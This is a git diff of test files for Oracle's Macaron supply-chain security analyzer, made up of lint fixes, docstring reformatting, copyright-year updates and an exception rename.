a/tests/schema_validation/json_schema_validate.py b/tests/schema_validation/json_schema_validate.py index a95c5dc2a..5b3a0dee8 100644 --- a/tests/schema_validation/json_schema_validate.py +++ b/tests/schema_validation/json_schema_validate.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module validates the result JSON files against a JSON schema.""" @@ -13,7 +13,7 @@ def main(argv: Sequence[str] | None = None) -> int: """Run main logic.""" - if not argv or not len(argv) == 3: + if not argv or len(argv) != 3: print("Usage: python3 schema_validate.py ") return os.EX_USAGE diff --git a/tests/schema_validation/test_buildspec_schema_notes.py b/tests/schema_validation/test_buildspec_schema_notes.py index 035196a21..8b2700c6a 100644 --- a/tests/schema_validation/test_buildspec_schema_notes.py +++ b/tests/schema_validation/test_buildspec_schema_notes.py @@ -62,15 +62,11 @@ def test_buildspec_schema_notes_document_schema_fields() -> None: with open(BUILDSPEC_SCHEMA_NOTES, encoding="utf-8") as file: notes = file.read() - missing_top_level_fields = [ - field for field in schema["properties"] if f"`{field}`" not in notes - ] + missing_top_level_fields = [field for field in schema["properties"] if f"`{field}`" not in notes] assert not missing_top_level_fields build_command_fields = schema["properties"]["build_commands"]["items"]["properties"] - missing_build_command_fields = [ - field for field in build_command_fields if f"`{field}`" not in notes - ] + missing_build_command_fields = [field for field in build_command_fields if f"`{field}`" not in notes] assert not missing_build_command_fields diff --git a/tests/slsa_analyzer/checks/base_check/test_base_check.py b/tests/slsa_analyzer/checks/base_check/test_base_check.py index 9c6bb701d..5e8f67d04 100644 --- a/tests/slsa_analyzer/checks/base_check/test_base_check.py +++ b/tests/slsa_analyzer/checks/base_check/test_base_check.py @@ -16,7 +16,7 @@ class TestConfiguration(TestCase): # Disable flake8's D202 check: "No blank lines allowed after function docstring" def test_raise_implementation_error(self) -> None: - """Test raising errors if child class does not override abstract method(s).""" # noqa: D202 + """Test raising errors if child class does not override abstract method(s).""" # pylint: disable=abstract-method class ChildCheck(BaseCheck): diff --git a/tests/slsa_analyzer/checks/test_check_results.py b/tests/slsa_analyzer/checks/test_check_results.py index c90c81753..58257c61e 100644 --- a/tests/slsa_analyzer/checks/test_check_results.py +++ b/tests/slsa_analyzer/checks/test_check_results.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the tests for the check results.""" @@ -24,16 +24,16 @@ class MockFacts(CheckFacts): __tablename__ = "_test_check" #: The primary key. - id: Mapped[int] = mapped_column( # noqa: A003 # pylint: disable=E1136 + id: Mapped[int] = mapped_column( # pylint: disable=unsubscriptable-object ForeignKey("_check_facts.id"), primary_key=True ) #: The name of the tool used to build. - test_name: Mapped[str] = mapped_column( # pylint: disable=E1136 + test_name: Mapped[str] = mapped_column( # pylint: disable=unsubscriptable-object String, nullable=False, info={"justification": JustificationType.TEXT} ) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_test_check", } diff --git a/tests/slsa_analyzer/checks/test_provenance_witness_l1_check.py b/tests/slsa_analyzer/checks/test_provenance_witness_l1_check.py index de1e7aae7..87402ad5c 100644 --- a/tests/slsa_analyzer/checks/test_provenance_witness_l1_check.py +++ b/tests/slsa_analyzer/checks/test_provenance_witness_l1_check.py @@ -1,11 +1,11 @@ -# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Test the check ``provenance_witness_l1_check``.""" import pytest -from macaron.slsa_analyzer.checks.provenance_witness_l1_check import WitnessProvenanceException, verify_artifact_assets +from macaron.slsa_analyzer.checks.provenance_witness_l1_check import WitnessProvenanceError, verify_artifact_assets from macaron.slsa_analyzer.package_registry.jfrog_maven_registry import ( JFrogMavenAsset, JFrogMavenAssetMetadata, @@ -234,7 +234,7 @@ def test_non_product_witness_subject( non_product_subjects: list[InTotoV01Subject], ) -> None: """A subject that is not a file attested by the Witness product attestator should raise an exception.""" - with pytest.raises(WitnessProvenanceException): + with pytest.raises(WitnessProvenanceError): verify_artifact_assets( artifact_assets=artifact_assets, subjects=non_product_subjects, diff --git a/tests/slsa_analyzer/checks/test_registry.py b/tests/slsa_analyzer/checks/test_registry.py index 56ed654a1..bae19697f 100644 --- a/tests/slsa_analyzer/checks/test_registry.py +++ b/tests/slsa_analyzer/checks/test_registry.py @@ -20,7 +20,7 @@ class MockCheck(BaseCheck): - """BaseCheck with no-op impl for abstract method""" + """BaseCheck with no-op impl for abstract method.""" def run_check(self, ctx: AnalyzeContext) -> CheckResultData: return CheckResultData(result_tables=[], result_type=CheckResultType.UNKNOWN) @@ -88,9 +88,8 @@ def test_add_successfully(self) -> None: def test_exit_on_registering_undefined_check(self) -> None: """Test registering a check which Macaron cannot resolve its module.""" - with patch("inspect.getmodule", return_value=False): - with pytest.raises(SystemExit): - self.REGISTRY.register(MockCheck("mcn_undefined_check_1", "This check is an undefined Check.")) + with patch("inspect.getmodule", return_value=False), pytest.raises(SystemExit): + self.REGISTRY.register(MockCheck("mcn_undefined_check_1", "This check is an undefined Check.")) @given(one_of(none(), text(), integers(), tuples(), binary(), booleans())) def test_exit_on_invalid_check_relationship(self, relationship: SearchStrategy) -> None: @@ -162,7 +161,11 @@ def test_exit_on_invalid_eval_reqs(self, eval_reqs: SearchStrategy) -> None: def test_exit_on_invalid_status_on_skipped(self, status_on_skipped: SearchStrategy) -> None: """Test registering a check with invalid status_on_skipped instance variable.""" check = MockCheck( - "mcn_invalid_eval_reqs_1", "Invalid_status_on_skipped", [], [], status_on_skipped # type: ignore + "mcn_invalid_eval_reqs_1", + "Invalid_status_on_skipped", + [], + [], + status_on_skipped, # type: ignore ) with pytest.raises(SystemExit): self.REGISTRY.register(check) diff --git a/tests/slsa_analyzer/git_service/test_api_client.py b/tests/slsa_analyzer/git_service/test_api_client.py index 439b53cf9..770f9b65f 100644 --- a/tests/slsa_analyzer/git_service/test_api_client.py +++ b/tests/slsa_analyzer/git_service/test_api_client.py @@ -1,10 +1,9 @@ # Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module tests the GhAPIClient module -""" +"""This module tests the GhAPIClient module.""" +from typing import ClassVar from unittest import TestCase import pytest @@ -13,11 +12,9 @@ class TestGhAPIClient(TestCase): - """ - This test provide tests for the GhAPIClient class - """ + """This test provide tests for the GhAPIClient class.""" - mock_profile = { + mock_profile: ClassVar[dict] = { "headers": { "Authorization": "sample_token", "Accept": "application/vnd.github.v3+json", @@ -25,20 +22,16 @@ class TestGhAPIClient(TestCase): "query": ["java+language:java"], } - error_mock_profile = {"wrong_field": "Wrong data"} - - mock_query_list = ["java+language:java"] + error_mock_profile: ClassVar[dict] = {"wrong_field": "Wrong data"} def test_init(self) -> None: - """ - Test if the search client is initiated correctly. - """ + """Test if the search client is initiated correctly.""" client = GhAPIClient(self.mock_profile) assert client.headers == { "Authorization": "sample_token", "Accept": "application/vnd.github.v3+json", } - assert client.query_list == self.mock_query_list + assert client.query_list == ["java+language:java"] # Invalid profile with pytest.raises(KeyError): diff --git a/tests/slsa_analyzer/git_service/test_github.py b/tests/slsa_analyzer/git_service/test_github.py index 604b0a50c..87e1c1a3a 100644 --- a/tests/slsa_analyzer/git_service/test_github.py +++ b/tests/slsa_analyzer/git_service/test_github.py @@ -1,9 +1,7 @@ # Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module tests the GitHub git service. -""" +"""This module tests the GitHub git service.""" from macaron.slsa_analyzer.git_service import GitHub diff --git a/tests/slsa_analyzer/mock_git_utils.py b/tests/slsa_analyzer/mock_git_utils.py index 9aa879d45..5b6011998 100644 --- a/tests/slsa_analyzer/mock_git_utils.py +++ b/tests/slsa_analyzer/mock_git_utils.py @@ -1,9 +1,7 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module contains the methods for preparing mock git repositories for testing SLSA checks. -""" +"""This module contains the methods for preparing mock git repositories for testing SLSA checks.""" import os @@ -68,7 +66,7 @@ def commit_files(git_wrapper: Git, file_names: list) -> bool: # Store the index object as recommended by the documentation. current_index = git_wrapper.repo.index current_index.add(file_names) - current_index.commit(f"Add files: {str(file_names)}") + current_index.commit(f"Add files: {file_names!s}") return True except GitError: return False diff --git a/tests/slsa_analyzer/package_registry/test_deps_dev.py b/tests/slsa_analyzer/package_registry/test_deps_dev.py index 700e6ff91..057d8fed6 100644 --- a/tests/slsa_analyzer/package_registry/test_deps_dev.py +++ b/tests/slsa_analyzer/package_registry/test_deps_dev.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Tests for the deps.dev service.""" @@ -31,9 +31,9 @@ def test_get_package_info_exception(httpserver: HTTPServer, deps_dev_service_moc f"/{deps_dev_service_mock['api']}/{deps_dev_service_mock['purl']}/{purl}" ).respond_with_data("Not Valid") - with pytest.raises(APIAccessError, match="^Failed to process"): + with pytest.raises(APIAccessError, match=r"^Failed to process"): DepsDevService.get_package_info(purl) # Request an invalid resource. - with pytest.raises(APIAccessError, match="^No valid response"): + with pytest.raises(APIAccessError, match=r"^No valid response"): DepsDevService.get_package_info("pkg:pypi/test") diff --git a/tests/slsa_analyzer/package_registry/test_jfrog_maven_registry.py b/tests/slsa_analyzer/package_registry/test_jfrog_maven_registry.py index 13f0bc693..5a9aea3a2 100644 --- a/tests/slsa_analyzer/package_registry/test_jfrog_maven_registry.py +++ b/tests/slsa_analyzer/package_registry/test_jfrog_maven_registry.py @@ -260,7 +260,8 @@ def test_extract_folder_names_from_folder_info_payload( ("args", "expected_file_names"), [ pytest.param( - {"folder_info_payload": """ + { + "folder_info_payload": """ { "children": [ { @@ -273,7 +274,8 @@ def test_extract_folder_names_from_folder_info_payload( } ] } - """}, + """ + }, ["child2"], id="Payload with both files and folders", ), @@ -452,11 +454,11 @@ def test_extract_file_names_from_folder_info_payload( }, "downloadUri": "https://registry.jfrog.com/repo/com/fasterxml/jackson/core/jackson-annotations/2.9.9/jackson-annotations-2.9.9.jar" } - """, # noqa: B950 + """, JFrogMavenAssetMetadata( size_in_bytes=66897, sha256_digest="17918b3097285da88371fac925922902a9fe60f075237e76f406c09234c8d614", - download_uri="https://registry.jfrog.com/repo/com/fasterxml/jackson/core/jackson-annotations/2.9.9/jackson-annotations-2.9.9.jar", # noqa: B950 + download_uri="https://registry.jfrog.com/repo/com/fasterxml/jackson/core/jackson-annotations/2.9.9/jackson-annotations-2.9.9.jar", ), id="Valid", ), diff --git a/tests/slsa_analyzer/package_registry/test_maven_central_registry.py b/tests/slsa_analyzer/package_registry/test_maven_central_registry.py index c304074f0..9ac4c679b 100644 --- a/tests/slsa_analyzer/package_registry/test_maven_central_registry.py +++ b/tests/slsa_analyzer/package_registry/test_maven_central_registry.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Tests for the Maven Central registry.""" @@ -240,7 +240,9 @@ def test_find_publish_timestamp_errors( @pytest.mark.parametrize("purl_string", ["pkg:maven/example", "pkg:maven/example/test", "pkg:maven/example/test@1"]) def test_get_artifact_hash_failures( - httpserver: HTTPServer, maven_service: dict, purl_string: str # pylint: disable=unused-argument + httpserver: HTTPServer, + maven_service: dict, # pylint: disable=unused-argument + purl_string: str, ) -> None: """Test failures of get artifact hash.""" purl = PackageURL.from_string(purl_string) @@ -262,7 +264,8 @@ def test_get_artifact_hash_failures( def test_get_artifact_hash_success( - httpserver: HTTPServer, maven_service: dict # pylint: disable=unused-argument + httpserver: HTTPServer, + maven_service: dict, # pylint: disable=unused-argument ) -> None: """Test success of get artifact hash.""" purl = PackageURL.from_string("pkg:maven/example/test@1") diff --git a/tests/slsa_analyzer/package_registry/test_osv_dev.py b/tests/slsa_analyzer/package_registry/test_osv_dev.py index 6856818ae..8bb277b51 100644 --- a/tests/slsa_analyzer/package_registry/test_osv_dev.py +++ b/tests/slsa_analyzer/package_registry/test_osv_dev.py @@ -53,8 +53,8 @@ def test_load_defaults_query_api(tmp_path: Path, user_config_input: str) -> None def test_is_affected_version_invalid_commit() -> None: - """Test if the function can handle invalid commits""" - with pytest.raises(APIAccessError, match="^Failed to find a tag for"): + """Test if the function can handle invalid commits.""" + with pytest.raises(APIAccessError, match=r"^Failed to find a tag for"): OSVDevService.is_version_affected( vuln={}, pkg_name="pkg", @@ -66,7 +66,7 @@ def test_is_affected_version_invalid_commit() -> None: def test_is_affected_version_invalid_response() -> None: """Test if the function can handle empty OSV response.""" - with pytest.raises(APIAccessError, match="^Received invalid response for"): + with pytest.raises(APIAccessError, match=r"^Received invalid response for"): OSVDevService.is_version_affected( vuln={"vulns": []}, pkg_name="repo/workflow", pkg_version="1.0.0", ecosystem="GitHub Actions" ) diff --git a/tests/slsa_analyzer/package_registry/test_pypi_registry.py b/tests/slsa_analyzer/package_registry/test_pypi_registry.py index da0efc78f..a41f7ae3e 100644 --- a/tests/slsa_analyzer/package_registry/test_pypi_registry.py +++ b/tests/slsa_analyzer/package_registry/test_pypi_registry.py @@ -101,9 +101,7 @@ def download_file(_url: str, _headers: dict, _dest: str, _timeout: int, _size_li assert not os.path.exists(source_path) -def test_download_package_wheel_cleans_up_when_download_raises( - tmp_path: Path, monkeypatch: pytest.MonkeyPatch -) -> None: +def test_download_package_wheel_cleans_up_when_download_raises(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: """The wheel temp directory should be removed if the download helper raises.""" wheel_name = "example-1.0.0-py3-none-any" wheel_path = os.path.join(tmp_path, f"{wheel_name}_abcdef") diff --git a/tests/slsa_analyzer/provenance/intoto/v01/test_validate.py b/tests/slsa_analyzer/provenance/intoto/v01/test_validate.py index 99d8f4032..a12282905 100644 --- a/tests/slsa_analyzer/provenance/intoto/v01/test_validate.py +++ b/tests/slsa_analyzer/provenance/intoto/v01/test_validate.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Tests for validation of in-toto attestation version 0.1.""" @@ -38,7 +38,7 @@ "predicateType": "https://slsa.dev/provenance/v0.2", "predicate": { "builder": { - "id": "https://github.com/slsa-framework/slsa-github-generator/.github/workflows/builder_go_slsa3.yml@refs/tags/v1.5.0" # noqa: B950 + "id": "https://github.com/slsa-framework/slsa-github-generator/.github/workflows/builder_go_slsa3.yml@refs/tags/v1.5.0" }, "buildType": "https://github.com/slsa-framework/slsa-github-generator/go@v1", }, diff --git a/tests/slsa_analyzer/test_analyze_context.py b/tests/slsa_analyzer/test_analyze_context.py index 4b1b1e776..172a1928b 100644 --- a/tests/slsa_analyzer/test_analyze_context.py +++ b/tests/slsa_analyzer/test_analyze_context.py @@ -1,10 +1,10 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains tests for the AnalyzeContext module.""" +from types import MappingProxyType from unittest import TestCase -from unittest.mock import MagicMock from macaron.code_analyzer.dataflow_analysis.core import NodeForest from macaron.json_tools import JsonType @@ -19,16 +19,14 @@ class TestAnalyzeContext(TestCase): - """ - This class tests the AnalyzeContext module - """ + """This class tests the AnalyzeContext module.""" - MOCK_CTX_DATA = { - ReqName.BUILD_SERVICE: SLSAReqStatus(), - ReqName.VCS: SLSAReqStatus(), - } - - MOCK_GIT_OBJ = MagicMock() + MOCK_CTX_DATA = MappingProxyType( + { + ReqName.BUILD_SERVICE: SLSAReqStatus(), + ReqName.VCS: SLSAReqStatus(), + } + ) MOCK_REPO_PATH = "/home/repo_name" @@ -37,20 +35,16 @@ class TestAnalyzeContext(TestCase): MOCK_DATE = "2021-04-5" def setUp(self) -> None: - """ - Set up the sample AnalyzeContext instance - """ + """Set up the sample AnalyzeContext instance.""" self.analyze_ctx = MockAnalyzeContext(macaron_path="", output_dir="") self.analyze_ctx.component.repository.full_name = "owner/repo_name" self.analyze_ctx.component.repository.fs_path = self.MOCK_REPO_PATH self.analyze_ctx.component.repository.commit_sha = self.MOCK_COMMIT_HASH self.analyze_ctx.component.repository.commit_date = self.MOCK_DATE - self.analyze_ctx.ctx_data = self.MOCK_CTX_DATA + self.analyze_ctx.ctx_data = {**self.MOCK_CTX_DATA} def test_update_req_status(self) -> None: - """ - Test updating one requirement in the context - """ + """Test updating one requirement in the context.""" self.analyze_ctx.update_req_status(ReqName.BUILD_SERVICE, True, "sample_fb") assert self.analyze_ctx.ctx_data[ReqName.BUILD_SERVICE].get_tuple() == ( True, diff --git a/tests/slsa_analyzer/test_git_url.py b/tests/slsa_analyzer/test_git_url.py index f84bbbdfa..2c79c61eb 100644 --- a/tests/slsa_analyzer/test_git_url.py +++ b/tests/slsa_analyzer/test_git_url.py @@ -79,9 +79,7 @@ def test_get_repo_name_from_url( def test_is_remote_repo() -> None: - """ - Test the is_remote_repo method - """ + """Test the is_remote_repo method.""" repo_name = "repo_name" remote_urls = [ f"git@github.com:owner/{repo_name}.git", diff --git a/tests/slsa_analyzer/test_slsa_requirements.py b/tests/slsa_analyzer/test_slsa_requirements.py index 4a33e0d44..7dc9efeff 100644 --- a/tests/slsa_analyzer/test_slsa_requirements.py +++ b/tests/slsa_analyzer/test_slsa_requirements.py @@ -1,19 +1,15 @@ -# Copyright (c) 2022 - 2023, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module test the slsa_analyzer.requirement module -""" +"""This module test the slsa_analyzer.requirement module.""" from macaron.slsa_analyzer.slsa_req import SLSAReqStatus def test_slsa_requirements_status() -> None: - """ - Test requirement status - """ + """Test requirement status.""" req_status = SLSAReqStatus() - assert (False, False, "") == req_status.get_tuple() + assert req_status.get_tuple() == (False, False, "") feedback = "This repo passes this requirement" req_status.set_status(True, feedback) diff --git a/tests/test_util.py b/tests/test_util.py index fa68b6123..6e4c80c02 100644 --- a/tests/test_util.py +++ b/tests/test_util.py @@ -1,9 +1,7 @@ # Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module test the Util methods -""" +"""This module test the Util methods.""" from collections.abc import Callable from unittest import TestCase @@ -18,14 +16,10 @@ class TestUtil(TestCase): - """ - This class provide tests for the util package. - """ + """This class provide tests for the util package.""" def test_construct_query(self) -> None: - """ - Test whether query is constructed properly - """ + """Test whether query is constructed properly.""" query = util.construct_query( { "q": "Some simple query language:java", @@ -38,9 +32,7 @@ def test_construct_query(self) -> None: # TODO: the copy_file_bulk method is essential, however, this test # needs further work. def test_copy_file_bulk(self) -> None: - """ - Test the copy file bulk method - """ + """Test the copy file bulk method.""" src_path = "/src/path" target_path = "/target/path" @@ -60,10 +52,9 @@ def test_copy_file_bulk(self) -> None: # Testing copy behaviors. with patch("os.makedirs") as mock_make_dirs: # Test ignoring existed files. - with patch("os.path.exists", return_value=True): - with patch("macaron.util.copy_file") as mock_copy_file: - assert util.copy_file_bulk(["file"], src_path, target_path) - mock_copy_file.assert_not_called() + with patch("os.path.exists", return_value=True), patch("macaron.util.copy_file") as mock_copy_file: + assert util.copy_file_bulk(["file"], src_path, target_path) + mock_copy_file.assert_not_called() # Files do not exist, perform the copy operation. with patch("os.path.exists", return_value=False):